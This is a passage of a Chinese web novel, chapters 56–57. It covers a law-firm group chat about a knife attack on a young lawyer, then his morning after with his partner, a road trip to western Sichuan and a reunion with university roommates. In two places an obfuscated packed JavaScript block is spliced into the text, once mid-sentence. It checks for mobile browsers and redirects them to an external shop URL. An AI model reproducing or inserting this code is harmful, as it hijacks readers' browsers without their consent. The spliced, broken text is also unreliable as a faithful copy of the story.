【是萌萌】：所以什么？ 【是萌萌】：（茫然.jpg） 【是萌萌】：不要对我一个人谜语人啊！ 【想桃吃】：（笑而不语.jpg） 【小芳姑娘】：桃子你干嘛？！ 56. 第 56 章 XXXX年X月X日伏羲传人 【小芳姑娘】：卧槽，真是绝了，怎么还有这种人 【小芳姑娘】：主任就该给物业提意见，让他们在大楼门口装个安检机 【泉水叮咚】：哪儿有人见律师直接带刀的，想杀人是吧？！ 【是萌萌】：（猫咪疑惑.jpg） 【是萌萌】：你们在说啥？ 【是萌萌】：我怎么听不懂？ 【泉水叮咚】：萌萌你今天不在办公室吗？ 【是萌萌】：我今天在客户这里坐班 【是萌萌】：（流泪猫猫头.jpg） 【小芳姑娘】：简而言之就是有个当事人拿刀捅了严熤一刀 【是萌萌】：？？？！！！！ 【袁和韵】：？？？！！！！ 【袁和韵】：为什么我今天又不在所里！ 【袁和韵】：我恨！ 【舟。】：好好好，不上班都摸鱼是吧 【舟。】：我要向主任举报你们！ 【袁和韵】：别废话了舟！ 【袁和韵】：什么情况啊！ 【袁和韵】：小严没事吧？ 【舟。】：人没事，衣服废了 【舟。】：幸好会议室空调坏了，他穿着得厚实，躲得又快，刀在衣服上划了一大个口子 【舟。】：（烂了一条口的羽绒服和漫天飞舞的羽绒.jpg） 【袁和韵】：这么长的口子？？？ 【舟。】：是啊，说是冲着赵律心口去的，小严身手了得拦了一下，要不然就不是一件衣服的事情了 【袁和韵】：那现在呢？怎么处理的？ 【舟。】：现在我们在派出所做笔录，赵律尹律还有主任都在。 【是萌萌】：所以为什么那人要做这种事？ 【泉水叮咚】：听说是严律师之前接手的按个非法集资案的当事人，他弟弟做信贷进去的那个 【袁和韵】：就那个家暴废物男？ 【泉水叮咚】：是的……吧？ 【想桃吃】：就是那个，那人渣情节恶劣没减刑，他哥就觉得我们收律师费坑了他，非要赵律退钱 【想桃吃】：找了几次赵律都糊弄过去了，结果谁知道他今天搞这么一出 【袁和韵】：那个嫌疑人是不是还有个四岁的女儿？亲妈跑了自己跟着奶奶的？ 【小芳姑娘】：对，小严为了让那个小姑娘上户口去幼儿园可没少费劲 【小芳姑娘】：那天我去派出所调证还看见他和警察沟通来着 【想桃吃】：所以你们说他大伯是什么垃圾！小严这么帮他们家，就这么回报的？! 【想桃吃】：这两兄弟就没一个好人！ 【泉水叮咚】：别气别气 【泉水叮咚】：（顺毛.jpg） 【泉水叮咚】：我们公主殿下是这样的，见不得苍生疾苦 【袁和韵】：我们公主殿下是这样的，见不得苍生疾苦 【小芳姑娘】：我们公主殿下是这样的，见不得苍生疾苦 【是萌萌】：严律师的外号为什么变成了公主殿下？ 【泉水叮咚】：因为上次律所组织去孤儿院的公益活动，给小朋友们读故事书的时候不知道哪个小机灵鬼问公主是不是和严哥哥一样好看 【想桃吃】：笑死，小鬼眼光毒辣 【小芳姑娘】：小鬼还叫小严哥哥，叫胖哥叔叔 【是萌萌】：哈哈哈哈哈哈 【泉水叮咚】：胖哥无故受害 【想桃吃】：小严当时指着孤儿院的小姑娘说公主就是和她们一样漂亮，就是差一件可以变身的魔法公主裙 【想桃吃】：后面自己掏钱给孤儿院的小姑娘们买了一批公主裙 【想桃吃】：款式还是我参考的 【想桃吃】：（微笑.jpg） 【想桃吃】：所以小严这么好的人怎么会招惹上这种烂人 【想桃吃】：好人没好报 【泉水叮咚】：（唉.jpg） 【小芳姑娘】：（唉.jpg） 【是萌萌】：（唉.jpg） 【泉水叮咚】：气氛这么沉重给姐妹们喂个糖吧 【泉水叮咚】：之前事情闹起来的时候尹律还在十六楼办公室，知道之后脸都白了 【泉水叮咚】：着急忙慌地冲下去了 【泉水叮咚】：我来律所这么多年还第一次见尹律这么快的速度 【泉水叮咚】：（托腮.jpg） 【想桃吃】：这也叫糖？ 【泉水叮咚】：？ 【想桃吃】：那我知道这件事的时候脸也白了啊！也冲得飞快啊！ 【小芳姑娘】：？ 【小芳姑娘】：什么意思，挥锄头啊 【想桃吃】：（一脚飞踹.jpg） 【想桃吃】：我和小严坚如磐石的革命友谊岂容你污蔑！ 【小芳姑娘】：@舟。所以前线记者有没有消息？ 【想桃吃】：对啊，舟你不是跟着主任去派出所了吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740104|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【舟。】：别吵，我在思考 【小芳姑娘】：思考啥？ 【舟。】：笔录做完了，伤人的也被拘留了，后面就是等程序处理 【舟。】：刚这人的老婆还来闹了一顿…… 【舟。】：赵律感觉气疯了，一直在说老子让你知道什么叫讼棍 【舟。】：（笑哭.jpg） 【袁和韵】：说重点啊，你看我们像是关心赵律的样子吗？ 【袁和韵】：（没有说不关心赵律的意思） 【小芳姑娘】：和韵你…… 【小芳姑娘】：逻辑被狗吃了是吧 【袁和韵】：意会意会，不要这个时候挑刺 【舟。】：关键就是我感觉尹律比赵律还生气…… 【舟。】：刚那人老婆闹的时候，尹律直接把动手把人拖到了调解室里，吓得办案民警还以为他想动手 【舟。】：等出来时候那人老婆脸都白了 【舟。】：然后本来想息事宁人的警察都放弃了，直接说等公诉程序 【舟。】：那人老婆本来特别无赖的，结果这个时候一句话都不敢说，签完笔录直接走了 【袁和韵】：卧槽 【小芳姑娘】：卧槽 【小芳姑娘】：现实版我在派出所搅弄风云（bushi 【是萌萌】：尹律师…… 【是萌萌】：（星星眼.jpg） 【袁和韵】：所以只有我好奇尹律到底说了啥吗？ 【舟。】：这个不重要 【舟。】：重要的是事情解决完了，主任跟尹律说，你回去要好好安慰一下小严 【袁和韵】：好♂好♂安♂慰 【小芳姑娘】：噫！ 【泉水叮咚】：噫！ 【袁和韵】：（脸红红.jpg） 【泉水叮咚】：想知道怎么安慰的 【小芳姑娘】：+1 【舟。】：不是，重点难道不是为什么是尹律回去安慰？！ 【舟。】：小严现在是赵律的团队律师啊！ 【舟。】：而且他们俩真的就把赵律丢下自己上了一张车走了！ 【舟。】：你们懂不懂 【舟。】：就，我CP好像是真的 【舟。】：那种幻灭又不敢置信又好奇又上头的心态！ 【想桃吃】：（笑而不语.jpg） 【舟。】：？陶霁虹你等着 【舟。】：我迟早有天要让你顶着这个表情包来上班！ 57.第 57 章 1 严熤从梦中惊醒，身体里还留存着酥软的余韵，身上热得像蒸桑拿。 看起来是卧室空调制冷不太行了。 反正跟刚才的梦没什么关系。 或者说那甚至不能叫梦，而是昨晚发生的事实在他头脑中的复刻而已。 他一直以为尹观庭的强势可能是工作养成的，但经过昨晚在发泄边缘被反复折腾，他开始怀疑自家师兄是不是天生有什么S潜质之类的。 过去相处的三年里，尹观庭在床上很顺着他，就算偶尔自己掌握主动权，也没有什么攻击性，不论是次数还是烈度基本是按照他喜欢的来，以至于严熤从来不知道，他还有这样一面，也是平生第一次知道，快感无法承受是一种怎样恐怖的状态。 结果就是现在醒过来时，深切感受到了什么叫纵欲伤身。 从腰背到下身，无一不泛着隐痛，更不要说从内而外的虚软和力不从心。 他摊在床上呆了一会儿，突然恨恨锤了一下床。 明明体检报告显示他是一个正常健康且精干强壮的成年男性，结果一晚上被人弄成这样属实有点伤自尊。 搞玄学大概是刻在国人骨子里的刻板基因，严熤想着想着，思维冷不丁就跑到了淘宝上五花八门的保健品上，主打一个效果不好说，但情绪价值拉满。 好歹是经受过高等教育的理智制止了他。 又在床上磨蹭了半天之后，他终于起床洗漱，磨磨蹭蹭地出了卧室门。 尹观庭早就起了，正在客厅里面朝窗户地打电话，桌上放着一碗隐隐冒着白气的豆浆，脆黄的油条被人切成小块，整整齐齐地码在盘子里。 只有一个碗和一个盘子，分量刚好，明显是留给他的。 熟悉的香味传来，严熤认出这是小区门口一家流动小摊车上的东西——他最近已经吃了一个多月，而且暂时还没腻，估摸着再来一两个星期应该就要换口味了。 他磨蹭着坐下，调整了一下自己的姿势才慢吞吞地开始吃，那边尹观庭听到动静，扭头看了他了一眼，加快进度结束了电话，走到餐厅。 折腾了大半夜严熤早就饿了，等尹观庭打完电话回来，一盘油条差不多清空了小半，尹观庭就坐在对面静静看着他吃，等他进食的速度慢下来后，才温声问道：“还好吗？有没有哪里不舒服？” 严熤咬着筷子哼哼两声，摆出一副不想理他的样子。 尹观庭有点想笑：“怎么还生气了，说好的哄我呢？” 严熤被豆浆呛了一下，一边顺气一边用眼神谴责他。 早知道后果是被人绑在床上这样那样，他死都不会把那句话说出口。 “闪闪，男子汉大丈夫，敢说就要敢当。”尹观庭慢条斯理地逗他，“再说了，昨天你不舒服吗？全身都……唔。” 严熤往他嘴里塞了一根油条，一开口声音哑得不成样子：“快闭嘴吧，再说我真生气了！” 身心餍足的尹律师从善如流地闭了嘴，只是听到他沙哑的声音后想起了什么，起身去厨房把煮好的雪梨汤倒了一些出来，放到他手边：“润润喉，你年假还没休吧，我帮你一起请假了。” 严熤喝着雪梨汤，疑惑地看着他。 尹观庭笑了笑：“趁着老赵现在对你愧疚万分，我们抓紧时间出去玩玩，有什么想去的地方吗？” 严熤眼睛亮了亮。 他早就想和尹观庭出去旅游了，但律师这行，基本是个全年无休的状态，偶尔的休息都会撞上节假日，两人都不想出去人挤人，于是旅游计划就这么耽搁了。 没想到遇到个持刀找事的当事人，竟然因祸得福了。 本来严熤替赵律挡了一下，等收拾完那个持刀见律师的当事人，带着羽绒服上一大道口子对上尹观庭惶急的眼神，心虚得不要再虚，加上尹观庭对他突然换执业方向本来就不是很满意，再被这么一吓唬，尹律没有当场发作已经是归功于这些年脾气好了不少。 于是为了家庭和谐幸福，严熤从派出所回来一路上都在撒娇卖萌无所不用其极，务必求得自家师兄消气。 “只要哄你高兴做什么都可以。” 这句话就是这种情形下说出来的。 哄人高兴的后果已经很惨烈了，幸好幸好，捡到了一个假期。 严熤心情愉快地吃完早餐，纵欲后遗症也差不多缓过来，正打算拉上尹观庭研究一下去哪里玩，一抬头就对上了尹观庭专注的眼神。 严熤愣了愣。 “闪闪，下次……”尹观庭摸了摸他的耳朵，顿了一下，把到嘴边的“不要这样”咽了下去，转而说道，“保护好自己。” 如果时间再来一次，严熤估计还是会上去替赵律挡下那一刀，他喜爱他这样的赤子之心，于是能交代的只剩下了一句苍白的叮嘱。 但他的未尽之言的严熤似乎听出来了，那双大眼睛弯了弯，蹭了蹭他的掌心，样子十分乖巧：“不会有下次了师兄，我会好好的。” 尹观庭被他蹭得心头一软，忍不住笑了笑，低头跟他接了一个短暂的吻。 2 打点好工作，整理好行装，十一月天寒地冻的清晨六点，严熤被尹观庭从温暖的被窝里拽出来洗漱，整个人都透着一种生不如死的倦怠。 “不如我们计划取消吧，睡觉他不好吗？” 严熤梦游一样洗漱完，晃悠进厨房，从背后抱住尹观庭，头靠在他脖颈里继续打盹，嘴上还不忘含含糊糊的地抱怨。 尹观庭背着一个暖炉勤勤恳恳地蒸面点：“闪闪，这可是你安排的计划。” 严熤从鼻子里“哼”了一声。 他的年假是十天，赵律本来想多给点假期，奈何工作实在安排不过来，最后还是严熤安慰了顶头上司几句，把假期定格在了十五天。 想休假就休假的尹律师自然是按他的时间来。 严熤本来是想安排一个长途自驾的，但他研究生期间室友们有了新的归宿，在帝都当了四年007牛马的耿亮决定带着自己七位数的存款回老家打拼，余畅和范思存历经四年的博士生涯，顺利毕业，余畅拿到了南方一所大学的入职邀请，范思存则去了一个学术性的国际组织，毕业之后就出国工作。 于是趁着四人寝室三人都还在帝都，而严熤刚好休假，余畅便提议大家聚一聚，以免以后天高路远再难相见。 最后余半仙还隐晦地表达了一下想和尹观庭见一面的想法。 这也算是他作为严熤的好友，给出的最大妥协。 他对严熤这段感情一直不看好，始终觉得自己家的傻儿子是被狐狸骗了，过去三年尹观庭不止一次提到要不要请他吃饭，结果都被余畅拒绝了，严熤询问原因，余半仙答曰：“吃人嘴短，吃了他的饭等他甩了你我都不好帮你骂人。” 严熤无力，只能随他去了。 有了这么个变故，尹观庭顺势提出在帝都和他的家人见一面也就顺理成章了，所以本来定好的两人世界不得不分出一半时间给亲朋好友。 于是旅行安排就是素有自驾游最美路线之称的川西环线。 为了赶上雪山落日的绝景，他们只能大清早自驾出发，这对习惯了九点以后再起床工作的严熤来说颇为折磨。 尹观庭抬头看了看表，六点十分，眼见严熤的呼吸逐渐均匀，到底还是没能强硬到底，轻轻拍了拍严熤的脸：“不行就回去睡一下？不着急这一时半会儿的。” 严熤把他抱紧了一些，换了姿势在他肩上蹭了蹭，含含糊糊地拒绝：“不要，我要去看落日！眯一会儿就好……我去！！！” 身体骤然腾空，严熤瞬间被吓醒了。 尹观庭把他放下，笑得十分优雅：“啊，不好意思，本来想抱你去沙发睡来着。” “你故意的！”严熤扑上去控诉，恨恨地咬他一口，“我被你吓到了！” 尹观庭笑着接住他，亲了亲他的唇角：“清醒了吗？牛奶热好了去倒出来，吃完我们就出发吧，我来开车，你在车上还可以睡会儿。” 严熤半眯着眼和他贴了贴，很轻易就被哄好了：“之前我腌好的酸萝卜可以开了，我去夹一点出来。” 说完恢复了平日里生龙活虎的样子，开开心心地拿酸萝卜去了。 尹观庭看着他背影笑了笑，把蒸好的面点端上了桌。 大面积的落地窗忠实地迎接着清晨的阳光，光芒透过玻璃洒满了客厅和餐厅的每一个角落，尹观庭放下盘子，看着光线在空中折射出绚烂的色彩，由衷地笑了起来。 今天是个好天气。 3 事实证明生物钟的力量牢不可破，严熤早餐前那一点活力仿佛回光返照，上车出发没多久就彻底睡死了过去，只依稀感觉车似乎停了一会儿，尹观庭给他盖了一件外衣。 再次有意识时，他是被刺目的阳光唤醒的。 他迷迷糊糊的睁开眼，伸手挡住阳关，透过手指间的缝隙，清透的蓝色像是从天空坠落的海洋，直直坠落在了他的眼底。 严熤不由得瞪大了眼睛。 随着意识的清醒，车载音响的声音也明晰了起来，激昂的音乐的鼓点响在耳畔，青山迎面而来，雪山惊鸿一瞥，路旁枯木秋草交织成画，零散的游人车辆散落在疏阔的草原上，蓝天白云似乎触手可及。 而在那样的天幕下，人与蜉蝣均是沧海一粟。 严熤有种自己从一个梦境坠落入另外一个梦境的错觉，直至尹观庭的声音把他拉回来：“闪闪，饿不饿？前面有个服务区，可以休息一下。” 那股寄身于天地的悬浮感消失了，严熤回到人间，忍不住有点想笑：“师兄，别人这个时候一般都是问要不要拍照的。” 尹观庭几不可见地皱了皱眉，顺畅地换了问题：“那你要不要下去拍照？” 神态透着种“搞不懂你们这帮小年轻在想什么但你想去就去吧”的费解和纵容。 严熤不知怎么就被戳到了笑点，在副驾上笑得停不下来，要不是还有安全带束缚着，人估计能滚到椅子下面去。 尹观庭的表情从困惑变成了无奈，最后也忍不住笑了起来：“坐好，一会被交警罚款就从你驾照上扣分。” “扣吧扣吧。”大部分时间都是蹭尹观庭车上班的严熤非常大度，趴在窗户上看了一会远处时隐时现的雪山，和尹观庭说道，“师兄你知道吗，我小时候就很想去看雪山。” 尹观庭有点奇怪地问：“为什么？” 严熤的老家四面环山，其中不乏高山，雪山应该不是什么稀罕景观才是。 “我们村子里有个嫁过来的藏族老奶奶。”严熤直起身子坐好，看着前方清澈的天空陷入了回忆，“她家应该挺穷的，她过得也不是很好，但她有一个塑料玩具，就是那种很廉价的，那个玩具就是一座雪山模型。有些时候她就会对着那个玩具拜一拜，然后絮絮叨叨地说点什么，总之就是非常珍惜那个模型。 结果有一次她干农活的时候摔了一跤，随身带着的玩具就掉进了河里，被冲走了，当时她哭得可伤心了。我那个时候年纪小，不太懂这是为什么，就去问她。” 严熤回忆着回忆着笑了起来：“我那个时候是真够欠的，人家刚丢了心爱的东西，我就直愣愣地上去问你为什么要哭，幸好她人好，没有骂我，只是说那是神山，她把神山弄丢了，有罪什么的……我就是那个时候开始，特别想看看，到底是什么样的雪山，才能被称为神山。” 服务区渐渐近了，尹观庭放慢车速，跟随前车拐了进去。 国道上的服务区和高速上没得比，但占了风景的便宜，哪怕是彩色塑料布搭起来的小摊子，也透着股独属于藏区的明艳飞扬。 尹观庭停好车，看着严熤问道：“后来呢？” 直觉告诉他这个故事应该还有后续。 果然。 “后来我就让我爸过年回家的时候给我带一个雪山的模型玩具……说起这个我就生气！”严熤坐直了身体，控诉道，“我跟他说了我要梅里雪山的，结果他给我带回来一个富士山！关键是我给他说这俩不一样，你知道他跟我怎么说嘛？！我爸说，‘这俩不都是山有什么不一样的，非要雪山一会儿让你崔叔照着村东口那个山给你刻一个。’气得我半天没理他。” 尹观庭不由自主地脑补了一个小号严熤拿着富士山玩具跳脚的模样，顿时被可爱到了，一句话脱口而出：“你爸爸没给你拍照？” 严熤：“？” 尹观庭咳了一声，把跑偏的思绪拉回来：“那你把富士山给那个奶奶了吗？” 严熤点了点头，有点惆怅：“我给了，主要是我爸他们一年也才回来一次，买都买回来了。不过虽然不是藏民的雪山，但当时那个奶奶还是很高兴，说谢谢我记挂她，还给了我一小块牛肉干，哇我真是没吃过比那儿更硬的牛肉干，这辈子都能记得。我当时就想着，明年一定要让我爸给她带个真正的雪山。但第二年她就去世了。” 再之后，他的父母也走了。 一只手扶住他的下巴，及时制止了他低头的动作，严熤随着力道抬头，有点不解地看着尹观庭。 尹观庭捧着他的脸，看了看他的眼角，没什么动静，不动声色地松了口气。 还行，应该只是有点惆怅，不至于哭。 对上严熤的眼神，为了避免解释，尹观庭干脆凑上去亲了一口，趁着严熤愣神的功夫指了指外边的彩色塑料烧烤摊：“正好有烤牛肉，吃吗？” 严熤思绪顿时被拉走了，脱口而出：“吃。” 尹观庭点点头，顺势放开他，正准备开车门下车，严熤突然扑了过来。 他猝不及防被严熤按在了座位上，还没反应过来，严熤已经一口重重亲在了他脸上，然后飞速地下车逃离现场，丢下嚣张得意的两个字：“偷袭！” 尹观庭简直哭笑不得，照了照后视镜，发现自己脸上已经红了一块，总之是很难跟人不带暧昧色彩地解释这是怎么来的。 他忍不住看了一眼罪魁祸首。 严熤站在雪山草原之间，神采飞扬地给了他一个飞吻，扑面而来的少年意气，引得周围的游客纷纷注目。 “小混蛋。” 尹观庭最终还是没忍住，笑着骂了一句。 4 他们并没有川西地区停留太久。 跟着自驾路线见识过几个知名景点之后，严熤和尹观庭驾车回到了C市，没怎么休息又出发前往帝都。 与川西比起来，春节假期前帝都带着一股末日前的狂欢气息。 学校周边尤其如此。 R大周边口味最好的一家火锅店排队排出了春运的架势，严熤穿过门外挤挤挨挨的人群，走到门口报了包厢号，庆幸之感油然而生。 幸好这次宿舍聚餐，他这个“外地人”不用负责组织。 都不知道余半仙是提前多久预订的。 包厢里余畅和耿亮已经喝上了，耿亮的状态基本是骂领导下酒，骂一句喝一口，声音大得隔着门都能听见。 严熤循着声推开门，耿亮的大嗓门突然就停了。 严熤：“？” 他开了个玩笑：“怎么回事啊亮亮，一把年纪了还学小学生玩孤立那套？” 耿亮翻了个白眼：“去去去，我就是看你好像跟以前不太一样了。人家都是越上班越憔悴，怎么到你这感觉还变漂亮了？你说是吧道长？” 范思存由于作息养生，性子安静，爱好周易，所以有雅号称道长，他和严熤点了点头，权当打招呼：“气色不错。” 余半仙瞬间联想了超级多，忍不住就是一声“啧”。 “谢谢，你们看上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741777|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去也不错，尤其是你啊亮亮，春风得意都不足以形容了。”严熤边笑边说，脱下大衣放到一边，坐到了余畅旁边，安抚了下自己这位发小兼同学兼室友：“好久不见，你也变帅了，半仙。” 余畅摸了摸胳膊上的鸡皮疙瘩，道：“闭嘴吧你，说好话我也不会帮你付账的。” “瞧你那小家子气，谁都别争，我来付账！”耿亮整个人都很亢奋，“小爷我乐意！可算是摆脱了我那傻逼领导了，当浮一大白！” 他举起酒杯，其余三人纷纷给面子一同举杯，七嘴八舌地祝他离职快乐。 毕业后几年不见的生疏悄无声息地消融了。 大家边吃边聊，话题很快就拐到了各自的生活上，耿亮说着自己日后的规划，打算先在全国自驾游一段时间，休养一下身心。 “闪闪不是去了川西？”范思存提醒他，“先做好攻略，别到时候高反倒道路上。” 耿亮反唇相讥：“我又不是你战五渣，身体好着呢。哎，闪闪，川西好玩吗？” 前些天他也看到了严熤的朋友圈。 “还可以，挺漂亮的。”严熤把嘴里的东西咽下，“你要去的话我可以把我们的攻略给你，不过高反确实会有点严重，要小心些。” 耿亮点点头：“行，记住了。说起来，你一个人去的？” 余畅夹菜的手就是一抖。 严熤半点没注意：“那倒没有，我和我男朋友一起去的。” “吧嗒。” 耿亮的筷子掉了。 连一向泰山崩于前而色不改的范思存都忍不住侧目。 余半仙捂着脸长叹一口气，真是半点不意外。 见他们的反应，严熤反而有点诧异：“怎么你们不知道吗？我还以为半仙告诉你们了。” 毕业后他们仨都在帝都，时不时聚一聚，他还以为余畅会把这个事情告诉他们。 毕竟这种事情本人开口总会有些尴尬，而从小到大，这种有些尴尬的社交场景余畅总会帮他先处理好。 “傻X吗你，这种事也是可以随便往外说的吗！”余半仙没好气地骂了一句，然后才跟另外两人解释，“不是说不相信你们，只是确实没找到什么好的机会。” 耿亮立刻点头：“没事没事，我懂我懂，我本来就是嘴上没把门的，指不定哪天秃噜出去就不好了。” 范思存也跟着点点头：“理解。” 严熤忍俊不禁：“不至于，又不是什么大事。” 耿亮却是正色道：“闪闪，你别觉得这个没所谓，社会上的渣滓多了去了，你这等于是多了一个把柄，指不定什么时候就被小人逮到对你不利。当然了，我不是对你的性向有什么意见，就是这东西毕竟不是大众审美你懂吧。” 严熤心头一暖，笑弯了眼镜：“我知道的，不过还好，我工作环境还算单纯，同事们都挺好的。” 耿亮点头：“那就好啊！不像我们公司，我跟你们讲，就我们部门那几个傻逼，能力不见得有多少，办公室政斗一套一套的，就上次……” 于是接下来的时间又变成了奇葩鉴赏会。 严熤听得大开眼界，也是没想到耿亮平时工作环境这么水深火热。 怪不得他存够了钱立马跑路，高薪也救不回来。 耿亮说着说着就喝高了，扒着范思存一阵一阵的吐槽，道长不愧养气功夫一流，没有半点不耐烦，面不改色地听他说，还时不时给点回应。 “哎，说起来你家那位呢？”余畅凑过来，关心了一下。 严熤回道：“他去见李老师了。” “李老师，你导？”余畅反应了一下，“哦，他跟你一个导师是吧。” 严熤点点头：“对。” 余畅问道：“你们怎么不一块去？” 严熤顿时侧目：“你刚刚还跟我说性向这种事情不能到处往外说，李老师一把年纪了就不要刺激他了吧。而且师兄找他应该是有其他事情。” 余畅想了想也是这个理，于是换了个问题：“什么事情？” 严熤想了想，笑起来：“大概是什么童年创伤之类的吧。” 余畅：“……？” 尹观庭没有跟他明说，但他大概知道。 尹观庭那段失败的职业生涯确实在他人生中留下了各种影子，其中包括对李明光的歉意，以至于这么些年他一直有点无言面见恩师，这还是他第一次独自一人前去找李明光，是下定决心要把过去腐刺一一拔出。 这也是一种新年新气象吧。 严熤的宿舍聚餐一直延续到了晚上快十二点。 范思存和余畅还住在学校的宿舍里，耿亮租住在郊区，于是还算清醒的半仙和道长决定先把耿亮送回去。 落单的严熤就被打发回去找男朋友。 半仙从出租车里探出来半个脑袋：“你先去吧，他不是说在学校等你？一会儿我跟道长一起回来，我们俩大男人还怕出事吗？” 严熤只能点点头：“那你们自己小心，完事儿了跟我打个电话。” 回应他的是半仙不耐烦的摆手和出租车扬长而去的轰鸣。 严熤一个人在原地站了一会儿，慢悠悠地朝着学校里走去。 这条路他异常熟悉，在过去的求学生涯中，每逢春节，他们宿舍总会在这家火锅店聚上一次，其他三人的车票都是傍晚，所以他们会拖着行李箱来，从中午吃到下午，然后，三个室友前往车站回家，他一个人走回宿舍。 每当这个时候，热闹的学校总会有种鬼城的空旷，路上人影寥寥，他就一路数着自己的步伐回去，数到一千，就可以看到学校的大门，再数五百，就可以看到R大的标志性建筑物——一高两矮的三座红色大楼。 最高的楼上嵌着时钟，他会站在下面想自己的父母，他们一直以为儿子只能读个技校，那现在他考上了全国首屈一指的学府，不知道他们会不会很高兴，又会想自己的奶奶，不知道这一年忙碌的学习打工生涯过去，自己算不算履行了永远开心的承诺。 眨眼时间快过去了十年，他再次走在这条熟悉的道路上，但好像还没有数到一千五，他就已经看到了红楼。 夜晚的R大几乎空无一人，于是红楼下打着双闪的汽车异常醒目。 严熤忍不住加快了脚步，走到汽车旁边，打开车门。 车内亮着顶灯，开着暖气，温暖的感觉扑面而来。 严熤忍不住笑了起来：“师兄！” 尹观庭“嗯”了一声：“快上来，吹冷风很好玩吗？” 严熤上了车，尹观庭的目光停留在他身上，问道：“你室友他们回去了？” “嗯，半仙说要先把耿亮送回去。”严熤答了一句，转而问道，“你和李老师聊得怎么样。” 尹观庭笑了笑：“还能怎么样，又被老师教训了一顿。” 说着教训，但是脸上却是轻松的笑容。 于是严熤没有再问，反而蹭了过去，用一个别扭的姿势抱住了他。 尹观庭不明所以，但很自然地回抱住了他：“怎么了？” 严熤把他埋在他的颈窝，蹭了蹭他：“没什么，安慰一下你被老师骂了的心情。” 尹观庭失笑，偏头吻了吻他的头发。 严熤抱了一会儿才放开，最后扭头看了一眼红楼，系好安全带，说道：“师兄我们回去吧。” 尹观庭答：“好。” “我们明天出去玩吗？” “你想去哪里？” “唔……明天在想？” “嗯，不急，慢慢想，困的话先睡一会。” “那我眯一下！” “好。” 对话依稀消逝在了寒风中，黑色的SUV悄无声息地从校园里滑出，渐渐融入帝都凌晨依然光辉灿烂的光流之中。